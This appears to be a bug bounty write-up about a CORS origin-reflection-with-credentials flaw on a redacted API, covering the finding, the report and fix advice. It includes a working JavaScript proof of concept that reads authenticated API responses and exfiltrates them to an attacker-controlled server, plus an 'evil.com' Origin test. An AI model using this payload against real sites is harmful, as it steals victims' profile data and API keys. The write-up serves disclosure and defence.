CORS — Cross-Origin Resource Sharing — is the browser mechanism that decides which websites are allowed to read API responses from which other websites.
It exists because without it, any website you visit could make API calls to your bank, your email, your everything — using your credentials — and read the responses. The browser’s same-origin policy blocks this. CORS is how servers selectively relax that policy for legitimate cross-origin requests.
When CORS is misconfigured, the relaxation is too generous. The wrong origins get access. And suddenly, any website I control can make authenticated API calls to your account and read the responses.
This is what I found on redacted-api.com.
The Misconfiguration
I sent a request to their API with a custom Origin header:
Origin: https://evil.com
The response included:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
The server reflected my Origin back as trusted. Whatever I sent — that became the trusted origin.
Access-Control-Allow-Credentials: true is the critical piece. It means: when the browser makes cross-origin requests to this API, include cookies and auth headers. And return the response to the requesting origin.
This means: if I can get a victim to visit a page I control, I can make their browser call the API (using their session cookies), read the response, and send it to my server.
The Exploit
I hosted a page on my server:
fetch('https://redacted-api.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://my-server.com/capture?data=' + btoa(JSON.stringify(data)));
});
Victim visits my page. Their browser makes an authenticated request to the API using their cookies. The API responds with their profile data (because CORS allows it). My script reads the response and exfiltrates it.
I tested on my own account. My profile data — email, account details, API keys — arrived on my server.
Then I tested a more sensitive endpoint: /api/user/payment-methods. Got back masked card data and billing address.
Then /api/admin/users — that returned 403. The admin check was there. But everything accessible to a regular authenticated user was mine.
The Report and Fix
Title: CORS Wildcard Origin Reflection with Credentials — Allows Cross-Site API Response Theft from Authenticated User Sessions
Severity: High
Impact: Any origin is reflected as trusted with credentials allowed. An attacker can host a malicious page that makes authenticated API calls on behalf of any victim who visits, reading all API responses accessible to that user’s session. Demonstrated: user profile data, API key exposure, payment method metadata.
Fix:
- Maintain an explicit allowlist of trusted origins — never reflect the
Originheader dynamically - If a wildcard is needed, do not combine it with
Access-Control-Allow-Credentials: true - Audit all API endpoints for sensitive data returned to authenticated users
Fixed in 12 hours. Bounty: $$$
The Short Lesson
CORS misconfigurations are almost always one of three things:
Access-Control-Allow-Origin: * with credentials — invalid per spec but some servers do it anyway via misconfiguration.
Dynamic origin reflection — the server reflects whatever Origin you send. Looks like a wildcard without being one. Worse than a wildcard because it’s invisible.
Overly broad allowlists — trusting *.company.com when any subdomain takeover (see my previous post) becomes a CORS bypass.
Check your CORS headers. All of them. In production. The staging environment always looks fine.
Reported through the official bug bounty program. All testing used accounts I controlled. Domain redacted per responsible disclosure norms.